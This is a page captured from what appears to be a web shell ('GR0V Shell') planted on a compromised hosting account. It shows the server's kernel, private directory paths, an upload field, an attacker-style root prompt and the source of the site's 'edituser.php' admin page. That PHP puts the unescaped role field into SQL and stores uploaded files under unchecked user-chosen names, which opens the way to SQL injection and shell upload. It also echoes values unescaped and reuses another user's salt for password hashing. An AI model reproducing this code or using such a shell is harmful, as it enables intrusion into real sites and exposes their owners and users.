? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/karmaasrconsultants.com/public_html/admin/
File Upload :
Current File : /home/u949514618/domains/karmaasrconsultants.com/public_html/admin/edituser.php

<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <h1>
        <i class="fa fa-user"></i> Edit User
        <small> Add/Edit User</small>
      </h1>
      <ol class="breadcrumb">
        <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
        <li class="active">Edit User</li>
      </ol>
    </section>

    <!-- Main content -->
    <section class="content">
      <!-- Small boxes (Stat box) -->
      <div class="row">
        <div class="col-xs-12">
<?php
if(isset($_POST['submit'])){
	$first_name = mysqli_real_escape_string($con,$_POST['first-name']);
	$last_name = mysqli_real_escape_string($con,$_POST['last-name']);
	$password = mysqli_real_escape_string($con,$_POST['password']);
  $details = mysqli_real_escape_string($con,$_POST['details']);
	$role = $_POST['role'];
	$image = $_FILES['image']['name'];
	$image_tmp = $_FILES['image']['tmp_name'];
  if(empty($image)){
    $image = $e_image;
  }
	$salt_query ="select * from users order by id desc limit 1";
	$salt_run = mysqli_query($con, $salt_query);
	$salt_row = mysqli_fetch_array($salt_run);
	$salt = $salt_row['salt'];
	$insert_password = crypt($password, $salt);
	if(empty($first_name) or empty($last_name)){
		$error = "All (*) fields are required";
	}
	else{
		$update_query = "update `users` SET `first_name` = '$first_name', `last_name` = '$last_name', `image` = '$image', `role` = '$role', `details` = '$details'";
    if(isset($password))
    {
      $update_query .= ",`password` = '$insert_password'";
    }
    $update_query .= "where `id` = $edit_id";
    if(mysqli_query($con, $update_query)){
      $msg = "User has been updated";
      header("refresh:0; url=edit-user.php?edit=$edit_id");
      if(!empty($image)){
        move_uploaded_file($image_tmp, "img/$image");
      }
    }
    else{
      $error = "User has not been updated";
    }
	}
}
?>
          <div class="col-md-8">
          <div class="box box-info">
            <div class="box-header with-border">
              <h3 class="box-title">Add User Form</h3>
            </div>
            <!-- /.box-header -->
            <!-- form start -->
            <form class="form-horizontal" method="post" enctype="multipart/form-data">
              <div class="box-body">
                <div class="form-group">
                  <label for="firstname" class="col-sm-2 control-label">First Name*</label>
					<?php
					if(isset($error)){
						echo "<span class='pull-right' style='color:red;'>$error</span>";
					}
					else{
						echo "<span class='pull-right' style='color:green;'>$msg</span>";
					}
					?>
                  <div class="col-sm-10">
                    <input name="first-name" type="text" class="form-control" value="<?php echo $e_first_name; ?>" id="firstname" placeholder="First Name">
                  </div>
                </div>
                <div class="form-group">
                  <label for="lastname" class="col-sm-2 control-label">Last Name*</label>

                  <div class="col-sm-10">
                    <input name="last-name" type="text" class="form-control" value="<?php echo $e_last_name; ?>" id="lastname" placeholder="Last Name">
                  </div>
                </div>
                
                
                <div class="form-group">
                  <label for="uploadimage" class="col-sm-2 control-label">Upload/Image</label>

                  <div class="col-sm-10">
                    <input name="image" type="file" class="form-control" id="uploadimage">
                  </div>
                </div>
                <div class="form-group">
                  <label for="inputPassword3" class="col-sm-2 control-label">Password*</label>

                  <div class="col-sm-10">
                    <input name="password" type="password" class="form-control" id="inputPassword3" placeholder="******">
                  </div>
                </div>
                <div class="form-group">
                  <label for="role" class="col-sm-2 control-label">Role*</label>

                  <div class="col-sm-10">
                    
                  <select name="role" class="form-control" id="role">
                    <option value="admin" <?php if($e_role == 'admin'){echo "selected";} ?>>Admin</option>
                    <option value="author" <?php if($e_role == 'author'){echo "selected";} ?>>Author</option>
                  </select>
                  
                  </div>
                  
                </div>

                <div class="form-group">
                  <label for="details" class="col-sm-2 control-label">Details</label>

                  <div class="col-sm-10">
                    <textarea name="details" id="details" cols="30" rows="10" class="form-control"><?php echo $e_details; ?></textarea>
                  </div>
                </div>
                
              </div>
              <!-- /.box-body -->
              <div class="box-footer">
                
                <input type="submit" class="btn btn-info pull-right" value="Edit User" name="submit">
              </div>
              <!-- /.box-footer -->
            </form>
          </div>
          </div>
          <div class="col-md-4">
          <?php
			  echo "<img src='img/$e_image' width='100%'>";
		  
		  ?>
          </div>
          <!-- /.box -->
        </div>
      </div>
      <!-- /.row -->
      <!-- Main row -->
      
      <!-- /.row (main row) -->

    </section>
    <!-- /.content -->
  </div>

T1KUS90T
  root-grov@89.117.188.241:~$